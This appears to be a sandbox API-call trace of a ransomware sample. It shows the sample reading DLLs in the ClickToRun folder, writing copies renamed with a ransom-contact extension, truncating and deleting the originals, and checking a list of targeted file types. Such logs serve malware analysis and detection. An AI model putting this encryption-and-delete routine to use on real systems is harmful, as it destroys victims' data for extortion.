1 [0289.433] CloseHandle (hObject=0x10c8) returned 1 [0289.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0289.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.433] lstrlenW (lpString=".doc") returned 4 [0289.433] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.433] lstrlenW (lpString=".docx") returned 5 [0289.433] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0289.433] lstrlenW (lpString=".pdf") returned 4 [0289.433] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.433] lstrlenW (lpString=".xls") returned 4 [0289.434] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.434] lstrlenW (lpString=".xlsx") returned 5 [0289.434] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0289.434] lstrlenW (lpString=".ppt") returned 4 [0289.434] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.434] lstrlenW (lpString=".zip") returned 4 [0289.434] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.434] lstrlenW (lpString=".rar") returned 4 [0289.434] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.434] lstrlenW (lpString=".bz2") returned 4 [0289.434] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.434] lstrlenW (lpString=".7z") returned 3 [0289.434] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.434] lstrlenW (lpString=".dbf") returned 4 [0289.434] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.434] lstrlenW (lpString=".1cd") returned 4 [0289.434] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.434] lstrlenW (lpString=".jpg") returned 4 [0289.434] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.434] lstrlenW (lpString=".doc") returned 4 [0289.434] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.434] lstrlenW (lpString=".docx") returned 5 [0289.434] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0289.434] lstrlenW (lpString=".pdf") returned 4 [0289.435] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.435] lstrlenW (lpString=".xls") returned 4 [0289.435] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.435] lstrlenW (lpString=".xlsx") returned 5 [0289.435] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0289.435] lstrlenW (lpString=".ppt") returned 4 [0289.435] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.435] lstrlenW (lpString=".zip") returned 4 [0289.435] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.435] lstrlenW (lpString=".rar") returned 4 [0289.435] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.435] lstrlenW (lpString=".bz2") returned 4 [0289.435] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.435] lstrlenW (lpString=".7z") returned 3 [0289.435] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.435] lstrlenW (lpString=".dbf") returned 4 [0289.435] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.435] lstrlenW (lpString=".1cd") returned 4 [0289.435] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0289.435] lstrlenW (lpString=".jpg") returned 4 [0289.435] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.436] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.436] lstrlenW (lpString="AppVScripting.dll") returned 17 [0289.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.436] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=512216) returned 1 [0289.436] CloseHandle (hObject=0x10c8) returned 1 [0289.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0289.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.436] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.437] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0289.437] GetLastError () returned 0x0 [0289.437] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x7d0d8, lpOverlapped=0x0) returned 1 [0289.785] WriteFile (in: hFile=0x10d0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x7d0e0, lpOverlapped=0x0) returned 1 [0289.795] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.795] WriteFile (in: hFile=0x10d0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xf6, lpOverlapped=0x0) returned 1 [0289.795] SetEndOfFile (hFile=0x10d0) returned 1 [0289.795] CloseHandle (hObject=0x10d0) returned 1 [0289.795] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.795] SetEndOfFile (hFile=0x10c8) returned 1 [0289.800] CloseHandle (hObject=0x10c8) returned 1 [0289.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.801] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1 [0289.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.801] lstrlenW (lpString=".doc") returned 4 [0289.801] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.801] lstrlenW (lpString=".docx") returned 5 [0289.801] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0289.801] lstrlenW (lpString=".pdf") returned 4 [0289.801] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.801] lstrlenW (lpString=".xls") returned 4 [0289.801] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.801] lstrlenW (lpString=".xlsx") returned 5 [0289.801] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0289.801] lstrlenW (lpString=".ppt") returned 4 [0289.801] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.801] lstrlenW (lpString=".zip") returned 4 [0289.801] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.801] lstrlenW (lpString=".rar") returned 4 [0289.801] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.802] lstrlenW (lpString=".bz2") returned 4 [0289.802] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.802] lstrlenW (lpString=".7z") returned 3 [0289.802] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.802] lstrlenW (lpString=".dbf") returned 4 [0289.802] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.802] lstrlenW (lpString=".1cd") returned 4 [0289.802] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.802] lstrlenW (lpString=".jpg") returned 4 [0289.802] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.802] lstrlenW (lpString=".doc") returned 4 [0289.802] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.802] lstrlenW (lpString=".docx") returned 5 [0289.802] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0289.802] lstrlenW (lpString=".pdf") returned 4 [0289.802] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.802] lstrlenW (lpString=".xls") returned 4 [0289.802] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.802] lstrlenW (lpString=".xlsx") returned 5 [0289.802] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0289.802] lstrlenW (lpString=".ppt") returned 4 [0289.802] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.802] lstrlenW (lpString=".zip") returned 4 [0289.802] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.802] lstrlenW (lpString=".rar") returned 4 [0289.802] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.802] lstrlenW (lpString=".bz2") returned 4 [0289.802] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.802] lstrlenW (lpString=".7z") returned 3 [0289.802] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.803] lstrlenW (lpString=".dbf") returned 4 [0289.803] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.803] lstrlenW (lpString=".1cd") returned 4 [0289.803] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0289.803] lstrlenW (lpString=".jpg") returned 4 [0289.803] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.803] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.803] lstrlenW (lpString="C2R64.dll") returned 9 [0289.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.803] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=1208928) returned 1 [0289.803] CloseHandle (hObject=0x10c8) returned 1 [0289.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0289.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.804] lstrlenW (lpString=".doc") returned 4 [0289.804] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.804] lstrlenW (lpString=".docx") returned 5 [0289.804] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0289.804] lstrlenW (lpString=".pdf") returned 4 [0289.804] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.804] lstrlenW (lpString=".xls") returned 4 [0289.804] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.804] lstrlenW (lpString=".xlsx") returned 5 [0289.804] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0289.804] lstrlenW (lpString=".ppt") returned 4 [0289.804] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.804] lstrlenW (lpString=".zip") returned 4 [0289.804] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.804] lstrlenW (lpString=".rar") returned 4 [0289.804] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.804] lstrlenW (lpString=".bz2") returned 4 [0289.804] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.804] lstrlenW (lpString=".7z") returned 3 [0289.804] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.804] lstrlenW (lpString=".dbf") returned 4 [0289.804] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.804] lstrlenW (lpString=".1cd") returned 4 [0289.804] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.804] lstrlenW (lpString=".jpg") returned 4 [0289.804] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.805] lstrlenW (lpString=".doc") returned 4 [0289.805] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.805] lstrlenW (lpString=".docx") returned 5 [0289.805] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0289.805] lstrlenW (lpString=".pdf") returned 4 [0289.805] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.805] lstrlenW (lpString=".xls") returned 4 [0289.805] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.805] lstrlenW (lpString=".xlsx") returned 5 [0289.805] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0289.805] lstrlenW (lpString=".ppt") returned 4 [0289.805] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.805] lstrlenW (lpString=".zip") returned 4 [0289.805] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.805] lstrlenW (lpString=".rar") returned 4 [0289.805] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.805] lstrlenW (lpString=".bz2") returned 4 [0289.805] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.805] lstrlenW (lpString=".7z") returned 3 [0289.805] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.805] lstrlenW (lpString=".dbf") returned 4 [0289.805] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.805] lstrlenW (lpString=".1cd") returned 4 [0289.805] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0289.805] lstrlenW (lpString=".jpg") returned 4 [0289.805] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.806] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.806] lstrlenW (lpString="C2RUI.en-us.dll") returned 15 [0289.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.806] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=902328) returned 1 [0289.806] CloseHandle (hObject=0x10c8) returned 1 [0289.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0289.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.806] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.806] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0289.807] GetLastError () returned 0x0 [0289.807] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0xdc4b8, lpOverlapped=0x0) returned 1 [0292.899] WriteFile (in: hFile=0x10d0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xdc4c0, lpOverlapped=0x0) returned 1 [0293.436] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.436] WriteFile (in: hFile=0x10d0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xf2, lpOverlapped=0x0) returned 1 [0293.437] SetEndOfFile (hFile=0x10d0) returned 1 [0293.437] CloseHandle (hObject=0x10d0) returned 1 [0293.437] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.437] SetEndOfFile (hFile=0x10c8) returned 1 [0293.445] CloseHandle (hObject=0x10c8) returned 1 [0293.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.445] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0293.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.446] lstrlenW (lpString=".doc") returned 4 [0293.446] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.446] lstrlenW (lpString=".docx") returned 5 [0293.446] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0293.446] lstrlenW (lpString=".pdf") returned 4 [0293.446] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.446] lstrlenW (lpString=".xls") returned 4 [0293.446] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.446] lstrlenW (lpString=".xlsx") returned 5 [0293.446] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0293.446] lstrlenW (lpString=".ppt") returned 4 [0293.446] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.446] lstrlenW (lpString=".zip") returned 4 [0293.446] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.446] lstrlenW (lpString=".rar") returned 4 [0293.446] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.446] lstrlenW (lpString=".bz2") returned 4 [0293.446] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.446] lstrlenW (lpString=".7z") returned 3 [0293.446] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.446] lstrlenW (lpString=".dbf") returned 4 [0293.446] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.446] lstrlenW (lpString=".1cd") returned 4 [0293.447] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.447] lstrlenW (lpString=".jpg") returned 4 [0293.447] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0293.447] lstrlenW (lpString=".doc") returned 4 [0293.447] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.447] lstrlenW (lpString=".docx") returned 5 [0293.447] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0293.447] lstrlenW (lpString=".pdf") returned 4 [0293.447] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 